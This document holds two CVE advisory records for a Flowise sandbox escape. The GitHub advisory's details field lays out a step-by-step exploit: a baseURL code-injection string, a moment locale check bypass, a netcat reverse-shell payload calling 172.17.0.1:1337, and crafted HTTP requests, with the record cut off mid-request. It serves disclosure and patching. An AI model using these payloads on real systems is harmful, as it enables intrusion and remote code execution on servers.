{
  "affected": [
    {
      "affectedData": [
        {
          "product": "Flowise",
          "vendor": "FlowiseAI",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.1.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "8C8B3FC2-6070-4400-9690-FCBE0C5C1D37",
              "versionEndExcluding": "3.1.3",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. Prior to version 3.1.3, several custom-tool components \u2014 AgentAsTool, ChatflowTool, and ExecuteFlow \u2014 ran code in the in-process \u00a0vm2\u00a0 sandbox. To build that code, they inserted a user-controlled \u00a0baseURL\u00a0 value straight into the JavaScript source, for example \u00a0const url = \"${baseURL}/...\";\u00a0. The only check on \u00a0baseURL\u00a0 was \u00a0isValidURL\u00a0, but a valid-looking URL can still contain characters that break out of a code string. An authenticated user could craft a \u00a0baseURL\u00a0 that passed this check, closed the surrounding string, and injected their own JavaScript into the sandboxed script (code injection, CWE-94). The \u00a0vm2\u00a0 sandbox runs in the same Node.js process as Flowise and exposes risky dependencies. As a result, the injected code could escape the sandbox and run arbitrary code on the Flowise server as the Flowise process user. Exploitation only requires an authenticated session. The issue is fixed in version 3.1.3, which passes the URL to the sandbox as data instead of inserting it into code and adds stricter URL validation."
    },
    {
      "lang": "es",
      "value": "Flowise es una interfaz de usuario de arrastrar y soltar para construir flujos personalizados de modelos de lenguaje grandes (LLM). Antes de la versi\u00f3n 3.1.3, varios componentes de herramientas personalizadas - AgentAsTool, ChatflowTool y ExecuteFlow - ejecutaban c\u00f3digo en la sandbox vm2 en proceso. Para construir ese c\u00f3digo, insertaban un valor baseURL controlado por el usuario directamente en el c\u00f3digo fuente de JavaScript, por ejemplo const url = \u2019${baseURL}/...\u2019;. La \u00fanica verificaci\u00f3n en baseURL era isValidURL, pero una URL de apariencia v\u00e1lida a\u00fan puede contener caracteres que rompen una cadena de c\u00f3digo. Un usuario autenticado podr\u00eda crear una baseURL que pasara esta verificaci\u00f3n, cerrara la cadena circundante e inyectara su propio JavaScript en el script de la sandbox (inyecci\u00f3n de c\u00f3digo, CWE-94). La sandbox vm2 se ejecuta en el mismo proceso de Node.js que Flowise y expone dependencias riesgosas. Como resultado, el c\u00f3digo inyectado podr\u00eda escapar de la sandbox y ejecutar c\u00f3digo arbitrario en el servidor de Flowise como el usuario del proceso de Flowise. La explotaci\u00f3n solo requiere una sesi\u00f3n autenticada. El problema est\u00e1 solucionado en la versi\u00f3n 3.1.3, que pasa la URL a la sandbox como datos en lugar de insertarla en el c\u00f3digo y a\u00f1ade una validaci\u00f3n de URL m\u00e1s estricta."
    }
  ],
  "id": "CVE-2026-69253",
  "lastModified": "2026-10-23T23:10:00.157",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "HIGH",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.0,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "HIGH",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-69253",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-05T14:41:59.649092Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-04T16:16:29.100",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/commit/3f257bdc8196082a178da7134a075824401b13b9"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/pull/6417"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Release Notes"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wg86-r78f-74mp"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-95"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T15:13:33Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "=============================================================================\n                                                            Security Advisory\n                                                                       elttam\n\nTopic:          Flowise JavaScript Sandbox Escape\n\nModule:         FlowiseAI/Flowise, FlowiseAI/nodevm\nDisclosed:      11-Apr-2026\nCredits:        Luke Jahnke and Alex Brown\nAffects:        `FlowiseAI/Flowise 3.1.1`, `FlowiseAI/nodevm  3.9.25`\n\n# I.   Background\n\nFlowise AI is an open-source, low-code platform for building AI applications\u2014such as chatbots, workflows, and autonomous agents\u2014through an intuitive drag-and-drop interface, minimising the need for extensive coding.\n\nThe platform also enables execution of custom JavaScript within a sandboxed environment via the Custom Function Agent Flow node or Custom Tool. By default, this sandbox is powered by `patriksimek/vm2`, a fork of the `patriksimek/vm2` package.\n\n# II.  Problem Description\n\n**NOTE**: This vulnerability still impacts commit `dddfb3c90eec900d747790a439bd362a764039cd` (the latest commit on the main branch at the time of writing). The original report was incorrectly closed, due to a misunderstanding that the report was about the use of an outdated and vulnerable version of the `patriksimek/vm2` sandbox. The sandbox escape that this report documents is an issue with Flowise, and patching the `vm2` sandbox would not resolve it.\n\nThe `patriksimek/vm2` sandbox executes JavaScript within the same Node.js process, which introduces significant security limitations and makes safely isolating untrusted code inherently difficult. Due to these concerns, the maintainers had deprecated the project and previously issued the following warning:\n\n*https://github.com/n8n-io/vm2*\n\u003e The library contains critical security issues and should not be used in production. Maintenance has been discontinued. Consider migrating to `isolated-vm`.\n\nTo demonstrate the risks associated with the use of the `vm2` sandbox, a sandbox escape specific to Flowise was investigated. The code snippet below shows the allowed modules that could be used within custom JavaScript code on Flowise.\n\nhttps://github.com/FlowiseAI/Flowise/blob/flowise%403.1.1/packages/components/src/utils.ts#L124\n```ts\nconst defaultAllowExternalDependencies = [\u0027axios\u0027, \u0027moment\u0027, \u0027node-fetch\u0027] \u003c1\u003e\n```\n\u003c1\u003e Allows custom JavaScript code to use the `axios`, `moment` and `node-fetch` dependencies.\n\nNotably, the `moment` dependency had a previously reported path traversal vulnerability (`CVE-2022-24785`) that could lead to RCE when user input is passed to the `locale` function. The patch for `CVE-2022-24785` was implementing regex check to disallow `/` or `\\` characters within a locale name, as shown in the code snippet below.\n\n*Patch for `CVE-2022-24785` in `moment` (https://github.com/moment/moment/commit/4211bfc8f15746be4019bba557e29a7ba83d54c5)*\n```js\nfunction isLocaleNameSane(name) {\n    // Prevent names that look like filesystem paths, i.e contain \u0027/\u0027 or \u0027\\\u0027\n    return name.match(\u0027^[^/\\\\\\\\]*$\u0027) != null; \u003c1\u003e\n}\n\nfunction loadLocale(name) {\n    var oldLocale = null,\n        aliasedRequire;\n    // TODO: Find a better way to register and load all the locales in Node\n    if (\n        locales[name] === undefined \u0026\u0026\n        typeof module !== \u0027undefined\u0027 \u0026\u0026\n        module \u0026\u0026\n        module.exports \u0026\u0026\n        isLocaleNameSane(name) \u003c1\u003e\n    ) {\n        try {\n            oldLocale = globalLocale._abbr;\n            aliasedRequire = require;\n            aliasedRequire(\u0027./locale/\u0027 + name); \u003c2\u003e\n            getSetGlobalLocale(oldLocale);\n        } catch (e) {\n            // mark as not found to avoid repeating expensive file require call causing high CPU\n            // when trying to find en-US, en_US, en-us for every format call\n            locales[name] = null; // null means not found\n        }\n    }\n    return locales[name];\n}\n```\n\u003c1\u003e Performs a regex check to disallow `/` or `\\` characters within the provided locale name.\n\n\u003c2\u003e The vulnerable sink that introduced `CVE-2022-24785`.\n\nFlowise used `moment` version `v2.29.3`, which had the `CVE-2022-24785` patch applied. However, the patch is ineffective in preventing directory traversal in a sandbox context. The validation function uses the `match` function from the provided object, so an object with a `match` function that always returns `true` would bypass the validation check, as shown in the following proof-of-concept script.\n\n```js\nfake = new String(\"../../../../../../../../../../../../../../../etc/passwd\");\nfake.match = function(regexp){return true;}; \u003c1\u003e\nrequire(\"moment\").locale(fake);\n```\n\u003c1\u003e Bypasses the validation check for `CVE-2022-24785`.\n\nIn commit `e765367fdc9761a7d9cf01a048cac15c78903b85` (https://github.com/FlowiseAI/Flowise/commit/e765367fdc9761a7d9cf01a048cac15c78903b85), the default sandbox was changed to the E2B sandbox, as shown in the code snippet below.\n\nhttps://github.com/FlowiseAI/Flowise/blob/e765367fdc9761a7d9cf01a048cac15c78903b85/packages/components/src/utils.ts\n```ts\nexport const executeJavaScriptCode = async (\n    code: string,\n    sandbox: ICommonObject,\n    options: {\n        timeout?: number\n        useSandbox?: boolean\n        libraries?: string[]\n        streamOutput?: (output: string) =\u003e void\n        nodeVMOptions?: ICommonObject\n    } = {}\n): Promise\u003cany\u003e =\u003e {\n    const { timeout = 300000, useSandbox = true, streamOutput, libraries = [], nodeVMOptions = {} } = options \u003c1\u003e\n    if (useSandbox \u0026\u0026 !process.env.E2B_APIKEY) { \u003c1\u003e\n        throw new Error(\n            \u0027Sandboxed code execution requires E2B_APIKEY to be configured. \u0027 +\n                \u0027Set E2B_APIKEY in your environment or contact your administrator.\u0027\n        )\n    }\n    let timeoutMs = timeout\n    if (process.env.SANDBOX_TIMEOUT) {\n        timeoutMs = parseInt(process.env.SANDBOX_TIMEOUT, 10)\n    }\n    ...\n```\n\u003c1\u003e The default was changed to use the E2B sandbox.\n\nHowever, there are several components within the application that still use the insecure `vm2` sandbox, as shown in the following `grep` output.\n\n```terminal\n$ grep -r \u0027useSandbox: false\u0027\npackages/components/nodes/tools/AgentAsTool/AgentAsTool.ts:            useSandbox: false\npackages/components/nodes/tools/ChatflowTool/ChatflowTool.ts:            useSandbox: false\npackages/components/nodes/sequentialagents/ExecuteFlow/ExecuteFlow.ts:                    useSandbox: false\n```\n\nThe above files also contain an injection vulnerability into the sandboxed code, due to an improper URL validation check validating the `baseURL` input. The following code snippets demonstrate the injection vulnerability within `AgentAsTool.ts` and the broken `isValidURL` validation function.\n\nhttps://github.com/FlowiseAI/Flowise/blob/0c6924bb08a2156513b447d0e600651f29ea5aa8/packages/components/nodes/tools/AgentAsTool/AgentAsTool.ts\n```ts\nclass AgentAsTool_Tools implements INode {\n    ...\n    async init(nodeData: INodeData, input: string, options: ICommonObject): Promise\u003cany\u003e {\n        ...\n        const baseURL = (nodeData.inputs?.baseURL as string) || (options.baseURL as string)\n\n        // Validate agentflowid is a valid UUID\n        if (!selectedAgentflowId || !isValidUUID(selectedAgentflowId)) {\n            throw new Error(\u0027Invalid agentflow ID: must be a valid UUID\u0027)\n        }\n\n        // Validate baseURL is a valid URL\n        if (!baseURL || !isValidURL(baseURL)) { \u003c1\u003e\n            throw new Error(\u0027Invalid base URL: must be a valid URL\u0027)\n        }\n        ...\n    }\n}\n\nclass AgentflowTool extends StructuredTool {\n    ...\n    // @ts-ignore\n    protected async _call(\n        arg: z.infer\u003ctypeof this.schema\u003e,\n        _?: CallbackManagerForToolRun,\n        flowConfig?: { sessionId?: string; chatId?: string; input?: string }\n    ): Promise\u003cstring\u003e {\n        ...\n        const code = `\nconst fetch = require(\u0027node-fetch\u0027);\nconst url = \"${this.baseURL}/api/v1/prediction/${this.agentflowid}\"; \u003c2\u003e\n\nconst body = $callBody;\n\nconst options = $callOptions;\n\ntry {\n\tconst response = await fetch(url, options);\n\tconst resp = await response.json();\n\treturn resp.text;\n} catch (error) {\n\tconsole.error(error);\n\treturn \u0027\u0027;\n}\n`\n        ...\n        let response = await executeJavaScriptCode(code, sandbox, {\n            useSandbox: false \u003c3\u003e\n        })\n\n        if (typeof response === \u0027object\u0027) {\n            response = JSON.stringify(response)\n        }\n\n        return response\n    }\n}\n```\n\u003c1\u003e Use of the broken `isValidURL` validation function, that is shown below.\n\u003c2\u003e Injection via the `baseURL` setting into the sandboxed code.\n\u003c3\u003e Uses the insecure `vm2` sandbox.\n\nhttps://github.com/FlowiseAI/Flowise/blob/aff06479aa9ec24847bd65ac786b46ac85ae7e03/packages/components/src/validator.ts\n```ts\n/**\n * Validates if a string is a valid URL\n * @param {string} url The string to validate\n * @returns {boolean} True if valid URL, false otherwise\n */\nexport const isValidURL = (url: string): boolean =\u003e {\n    try {\n        new URL(url) \u003c1\u003e\n        return true\n    } catch {\n        return false\n    }\n}\n```\n\u003c1\u003e The JavaScript `URL` class does not validate characters in the URL hash fragment.\n\nAn attacker could inject arbitrary code by inserting `#\";\\n{malicious_code};//` at the end of the `baseURL` setting, where the following `baseURL` demonstrates injecting the payload for the sandbox escape shown above to execute the code in the file `/tmp/evil.txt` outside the `vm2` sandbox.\n\n```js\n\"https://192.168.122.62:3000/#\\\";\\nfake = new String(\\\"../../../../../../../../../../../../../../../../../tmp/evil.txt\\\");\\nfake.match = function(regexp){return true;};\\nrequire(\\\"moment\\\").locale(fake);//\"\n```\n\nThe following documents the procedure to remotely exploit the insecure `vm2` sandbox to achieve RCE on Flowise using the `AgentAsTool` node.\n\n**Note:** This procedure documents the method of exploitation on the Docker deployment. The exploitation methodology may be different on the cloud deployment.\n\n1. Log into a Flowise instance and note the organisation ID in the response from `POST /api/v1/auth/login`, as shown below.\n\n```http\nHTTP/1.1 200 OK\nSet-Cookie: token=\u003cREDACTED\u003e\nSet-Cookie: refreshToken=\u003cREDACTED\u003e\nSet-Cookie: connect.sid=\u003cREDACTED\u003e\nContent-Type: application/json; charset=utf-8\nContent-Length: 671\nETag: W/\"29f-jwu/0ZfIvz6r3EF/4QqMbLOMeho\"\nDate: Sat, 11 Apr 2026 12:05:42 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\n    \"activeOrganizationCustomerId\": null,\n    \"activeOrganizationId\": \"dbac2c65-6d98-48c2-b515-0b6cfb32f7e7\", \u003c1\u003e\n    \"activeOrganizationProductId\": \"\",\n    \"activeOrganizationSubscriptionId\": null,\n    \"activeWorkspace\": \"Default Workspace\",\n    \"activeWorkspaceId\": \"4b7e2414-a652-413d-b45e-b9edb8e63c1d\",\n    \"assignedWorkspaces\": [\n        {\n            \"id\": \"4b7e2414-a652-413d-b45e-b9edb8e63c1d\",\n            \"name\": \"Default Workspace\",\n            \"organizationId\": \"dbac2c65-6d98-48c2-b515-0b6cfb32f7e7\", \u003c1\u003e\n            \"role\": \"owner\"\n        }\n    ],\n    \"email\": \"admin@flowise.local\",\n    \"features\": {},\n    \"id\": \"f8acb68d-afa5-41bd-8485-e39457433b71\",\n    \"isOrganizationAdmin\": true,\n    \"isSSO\": false,\n    \"name\": \"Admin\",\n    \"permissions\": [\n        \"organization\",\n        \"workspace\"\n    ],\n    \"roleId\": \"3ff0de09-3993-125c-8798-7d14c45336df\"\n}\n```\n\u003c1\u003e The organisation ID that is required for a later step.\n\n2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the `vm2` sandbox. The following script is a reverse shell payload that connects to `172.17.0.1:1337` that had a filename of `rce.js`.\n\n```js\nprocess.mainModule.require(\u0027child_process\u0027).execSync(\u0027/usr/bin/nc 172.17.0.1 1337 -e /bin/sh\u0027)\n```\n\n3. Using a proxy tool such as Burp Suite or the browser\u0027s debug network tab, observe the response from the \n`POST /api/v1/document-store/loader/process/{loader_id}` endpoint and retrieve the `storeId`, as demonstrated in the response below.\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\nContent-Length: 996\nETag: W/\"3e4-k50+oeECDZnZeXCwR6mnTrXtxm0\"\nDate: Sat, 11 Apr 2026 12:13:41 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\n    \"characters\": 94,\n    \"chunks\": [\n        {\n            \"chunkNo\": 1,\n            \"docId\": \"72f80118-fede-4f20-9ec6-1577e64c9ceb\",\n            \"id\": \"d6915ca3-4845-4f5b-a59c-3aa723aca8bd\",\n            \"metadata\": \"{\\\"source\\\":\\\"blob\\\",\\\"blobType\\\":\\\"\\\"}\",\n            \"pageContent\": \"process.mainModule.require(\u0027child_process\u0027).execSync(\u0027/usr/bin/nc 172.17.0.1 1337 -e /bin/sh\u0027)\",\n            \"storeId\": \"dd6e5e1a-9c17-4a80-ad97-87302d9aa549\" \u003c1\u003e\n        }\n    ],\n    \"count\": 1,\n    \"currentPage\": 1,\n    \"description\": \"\",\n    \"docId\": \"72f80118-fede-4f20-9ec6-1577e64c9ceb\",\n    \"file\": {\n        \"files\": [\n            {\n                \"id\": \"68a0a833-09c4-4df6-8b3e-1071f8edd462\",\n                \"mimePrefix\": \"application/x-javascript\",\n                \"name\": \"rce.js\",\n                \"size\": 94,\n                \"status\": \"NEW\",\n                \"uploaded\": \"2026-04-11T12:13:41.235Z\"\n            }\n        ],\n        \"id\": \"72f80118-fede-4f20-9ec6-1577e64c9ceb\",\n        \"loaderConfig\": {\n            \"file\": \"FILE-STORAGE::[\\\"rce.js\\\"]\",\n            \"legacyBuild\": \"\",\n            \"metadata\": \"\",\n            \"omitMetadataKeys\": \"\",\n            \"pointerName\": \"\",\n            \"textSplitter\": \"\",\n            \"usage\": \"perPage\"\n        },\n        \"loaderId\": \"fileLoader\",\n        \"loaderName\": \"RCE\",\n        \"status\": \"SYNC\",\n        \"totalChars\": 94,\n        \"totalChunks\": 1\n    },\n    \"storeName\": \"RCE File Store\",\n    \"workspaceId\": \"4b7e2414-a652-413d-b45e-b9edb8e63c1d\"\n}\n```\n\u003c1\u003e The store ID that is required for a later step.\n\n4. Navigate to the Agentflow tab and create a new empty Agent that would be attached to the `AgentAsTool` node.\n\n5. Navigate to the Chatflow tab and create a new Chatflow and save it. Then add an Agent as Tool node using the previously created Agentflow, a Buffer Memory Node, an Open AI Chat Model node and connect them to a Tool Agent node, then save the changes, as shown in the attached screenshot. Using a tool such as Burp Suite, intercept the request to the `PUT /api/v1/chatflows/{chatflow_id}` and modify the `baseURL` input to `\"https://192.168.122.62:3000/#\\\";\\nfake = new String(\\\"../../../../../../../../../../../../../../../../..{home_folder}/.flowise/storage/{organisation_id}/docustore/{store_id}/{filename}\\\");\\nfake.match = function(regexp){return true;};\\nrequire(\\\"moment\\\").locale(fake);//\"`, where the `{home_folder}` is `/home/node` if built locally using `https://github.com/FlowiseAI/Flowise/blob/main/Dockerfile` or `/root` if using a published Docker image from https://hub.docker.com/r/flowiseai/flowise. Replace the `{organisation_id}`, `{store_id}` and `{filename}` placeholders with the values from the previous steps. The following request demonstrates setting the sandbox escape payload to execute the uploaded payload that was located at `/home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js`.\n\n\u003cimg width=\"2229\" height=\"1148\" alt=\"sandbox-escape-tool-setup\" src=\"https://github.com/user-attachments/assets/87850ecf-3d93-4939-b5d3-9d3d2c349894\" /\u003e\n\n```http\nPUT /api/v1/chatflows/3145786c-a4c0-4989-8605-afff0c10b5be HTTP/1.1\nHost: 192.168.122.62:3000\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:149.0) Gecko/20100101 Firefox/149.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/json\nx-request-from: internal\nContent-Length: 17821\nOrigin: http://192.168.122.62:3000\nConnection: keep-alive\nReferer: http://192.168.122.62:3000/canvas/3145786c-a4c0-4989-8605-afff0c10b5be\nCookie: {cookies}\n\n{\"name\":\"RCE SANDBOX ESCAPE CHAT FLOW\",\"flowData\":\"{\\\"nodes\\\":[{\\\"data\\\":{\\\"baseClasses\\\":[\\\"AgentAsTool\\\",\\\"Tool\\\"],\\\"category\\\":\\\"Tools\\\",\\\"credential\\\":\\\"\\\",\\\"description\\\":\\\"Use as a tool to execute another agentflow\\\",\\\"filePath\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/AgentAsTool.js\\\",\\\"icon\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/agentastool.svg\\\",\\\"id\\\":\\\"agentAsTool_0\\\",\\\"inputAnchors\\\":[],\\\"inputParams\\\":[{\\\"credentialNames\\\":[\\\"agentflowApi\\\"],\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-credential-credential\\\",\\\"label\\\":\\\"Connect Credential\\\",\\\"name\\\":\\\"credential\\\",\\\"optional\\\":true,\\\"type\\\":\\\"credential\\\"},{\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-selectedAgentflow-asyncOptions\\\",\\\"label\\\":\\\"Select Agent\\\",\\\"loadMethod\\\":\\\"listAgentflows\\\",\\\"name\\\":\\\"selectedAgentflow\\\",\\\"type\\\":\\\"asyncOptions\\\"},{\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-name-string\\\",\\\"label\\\":\\\"Tool Name\\\",\\\"name\\\":\\\"name\\\",\\\"type\\\":\\\"string\\\"},{\\\"description\\\":\\\"Description of what the tool does. This is for LLM to determine when to use this tool.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-description-string\\\",\\\"label\\\":\\\"Tool Description\\\",\\\"name\\\":\\\"description\\\",\\\"placeholder\\\":\\\"State of the Union QA - useful for when you need to ask questions about the most recent state of the union address.\\\",\\\"rows\\\":3,\\\"type\\\":\\\"string\\\"},{\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-returnDirect-boolean\\\",\\\"label\\\":\\\"Return Direct\\\",\\\"name\\\":\\\"returnDirect\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"acceptVariable\\\":true,\\\"additionalParams\\\":true,\\\"description\\\":\\\"Override the config passed to the Agentflow.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-overrideConfig-json\\\",\\\"label\\\":\\\"Override Config\\\",\\\"name\\\":\\\"overrideConfig\\\",\\\"optional\\\":true,\\\"type\\\":\\\"json\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Base URL to Flowise. By default, it is the URL of the incoming request. Useful when you need to execute the Agentflow through an alternative route.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-baseURL-string\\\",\\\"label\\\":\\\"Base URL\\\",\\\"name\\\":\\\"baseURL\\\",\\\"optional\\\":true,\\\"placeholder\\\":\\\"http://localhost:3000\\\",\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":false,\\\"description\\\":\\\"Whether to continue the session with the Agentflow tool or start a new one with each interaction. Useful for Agentflows with memory if you want to avoid it.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-startNewSession-boolean\\\",\\\"label\\\":\\\"Start new session per message\\\",\\\"name\\\":\\\"startNewSession\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Whether to use the question from the chat as input to the agentflow. If turned on, this will override the custom input.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-useQuestionFromChat-boolean\\\",\\\"label\\\":\\\"Use Question from Chat\\\",\\\"name\\\":\\\"useQuestionFromChat\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Custom input to be passed to the agentflow. Leave empty to let LLM decides the input.\\\",\\\"display\\\":false,\\\"id\\\":\\\"agentAsTool_0-input-customInput-string\\\",\\\"label\\\":\\\"Custom Input\\\",\\\"name\\\":\\\"customInput\\\",\\\"optional\\\":true,\\\"show\\\":{\\\"useQuestionFromChat\\\":false},\\\"type\\\":\\\"string\\\"}],\\\"inputs\\\":{\\\"baseURL\\\":\\\"https://192.168.122.62:3000/#\\\\\\\";\\\\nfake = new String(\\\\\\\"../../../../../../../../../../../../../../../../../home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js\\\\\\\");\\\\nfake.match = function(regexp){return true;};\\\\nrequire(\\\\\\\"moment\\\\\\\").locale(fake);//\\\",\\\"customInput\\\":\\\"\\\",\\\"description\\\":\\\"Sandbox escape code will be injected using the baseURL input\\\",\\\"name\\\":\\\"sandbox-escape\\\",\\\"overrideConfig\\\":\\\"\\\",\\\"returnDirect\\\":\\\"\\\",\\\"selectedAgentflow\\\":\\\"31ad9e45-2f8c-4a52-8fac-53c37a5f0ce6\\\",\\\"startNewSession\\\":\\\"\\\",\\\"useQuestionFromChat\\\":\\\"\\\"},\\\"label\\\":\\\"Agent as Tool\\\",\\\"loadMethods\\\":{},\\\"name\\\":\\\"agentAsTool\\\",\\\"outputAnchors\\\":[{\\\"description\\\":\\\"Use as a tool to execute another agentflow\\\",\\\"id\\\":\\\"agentAsTool_0-output-agentAsTool-AgentAsTool|Tool\\\",\\\"label\\\":\\\"AgentAsTool\\\",\\\"name\\\":\\\"agentAsTool\\\",\\\"type\\\":\\\"AgentAsTool | Tool\\\"}],\\\"outputs\\\":{},\\\"selected\\\":false,\\\"type\\\":\\\"AgentAsTool\\\",\\\"version\\\":1},\\\"dragging\\\":false,\\\"height\\\":803,\\\"id\\\":\\\"agentAsTool_0\\\",\\\"position\\\":{\\\"x\\\":474.3499595861873,\\\"y\\\":188.396206969314},\\\"positionAbsolute\\\":{\\\"x\\\":474.3499595861873,\\\"y\\\":188.396206969314},\\\"selected\\\":true,\\\"type\\\":\\\"customNode\\\",\\\"width\\\":300},{\\\"data\\\":{\\\"baseClasses\\\":[\\\"BufferMemory\\\",\\\"BaseChatMemory\\\",\\\"BaseMemory\\\"],\\\"category\\\":\\\"Memory\\\",\\\"description\\\":\\\"Retrieve chat messages stored in 